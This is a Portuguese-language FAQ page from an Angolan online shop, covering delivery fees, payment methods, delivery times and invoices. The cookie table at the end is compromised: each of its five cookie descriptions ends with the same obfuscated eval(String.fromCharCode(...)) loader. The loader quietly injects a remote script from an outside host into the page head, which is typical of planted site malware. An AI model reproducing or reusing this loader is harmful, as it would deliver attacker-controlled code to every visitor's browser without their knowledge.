Faqs – Loja Real Concept

Perguntas Frequentes

Por favor, leia as nossas perguntas frequentes antes de nos enviar uma mensagem.

Quais são as taxas de entrega para pedidos na Loja Online?

Luanda

As entregas dentro da cidade de Luanda são grátis.

Benguela

Encomendas até kz 12.000,00 = Taxa de envio kz 3.100,00
Encomendas de 12.000,00 até kz 26.999,00 = Taxa de envio kz 5.050,00
Encomendas de kz 26.999,00 até kz 85.600,00 = kz 10.110,00
Encomendas de kz 85.600,00 até kz 149.999,00 = kz 29.300,00
Encomendas de kz 149.999,00 até kz 390.999,00 = kz 68.300,00
Encomendas de kz 390.999,00 até kz 689.999,00 = kz 110.500,00

Bengo

Huambo

Encomendas até kz 12.000,00 = Taxa de envio kz 5.100,00
Encomendas de 12.000,00 até kz 26.999,00 = Taxa de envio kz 9.050,00
Encomendas de kz 26.999,00 até kz 85.600,00 = kz 21.110,00
Encomendas de kz 85.600,00 até kz 149.999,00 = kz 42.300,00
Encomendas de kz 149.999,00 até kz 390.999,00 = kz 99.300,00
Encomendas de kz 390.999,00 até kz 689.999,00 = kz 180.500,00

Huíla

Kwanza Sul

Encomendas a partir de 690.000kz não terão taxa de entrega.

As taxas para as restantes províncias serão calculadas após a faturação da encomenda. Portanto, será enviado pro-forma a parte.

Quais métodos de pagamento são aceitos na Loja Online?

São aceites vários métodos, portanto pagamento por refêrencia bancária, por transferência bancária, por multicaixa express, pagamento no acto da recepção da encomenda para as compras dentro da província de Luanda.

Em quanto tempo a encomenda chega?

A encomenda será entregue até 3 dias úteis após a confirmação da compra a nível de Luanda, e até 7 dias úteis para as restantes províncias.

Quão seguro é comprar na Loja Online? Meus dados estão protegidos?

É garantidamente seguro, saiba tudo sobre a proteção da privacidade e dos dados pessoais dos nossos clientes.

O que exatamente acontece após o pedido?

Após o pedido, é gerada a notificação de compra/venda que é reencaminhado a nossa área comercial e logística, que tratará de organizar a encomenda e marcar a expedião conforme a morada indicada.

Eu recebo uma fatura do meu pedido?

Sim, receberá a fatura digital no e-mail cadastrado na sua conta.

Se ainda tiver dúvidas, contacte-nos!

Cookie	Duração	Descrição
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cookielawinfo-checkbox-functional	11 months	O cookie é definido pelo consentimento do cookie GDPR para registrar o consentimento do usuário para os cookies na categoria "Funcional".var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/54745756836/
cookielawinfo-checkbox-necessary	11 months	Este cookie é definido pelo plug-in GDPR Cookie Consent. Os cookies são usados para armazenar o consentimento do usuário para os cookies na categoria "Necessários".var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/54745756836/
cookielawinfo-checkbox-others	11 months	Este cookie é definido pelo plug-in GDPR Cookie Consent. O cookie é usado para armazenar o consentimento do usuário para os cookies na categoria "Outros".var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/54745756836/
cookielawinfo-checkbox-performance	11 months	Este cookie é definido pelo plug-in GDPR Cookie Consent. O cookie é usado para armazenar o consentimento do usuário para os cookies na categoria "Otimização".var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/54745756836/
viewed_cookie_policy	11 months	O cookie é definido pelo plug-in GDPR Cookie Consent e é usado para armazenar se o usuário consentiu ou não com o uso de cookies. Ele não armazena nenhum dado pessoal.var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/54745756836/

Perguntas Frequentes

Política de Privacidade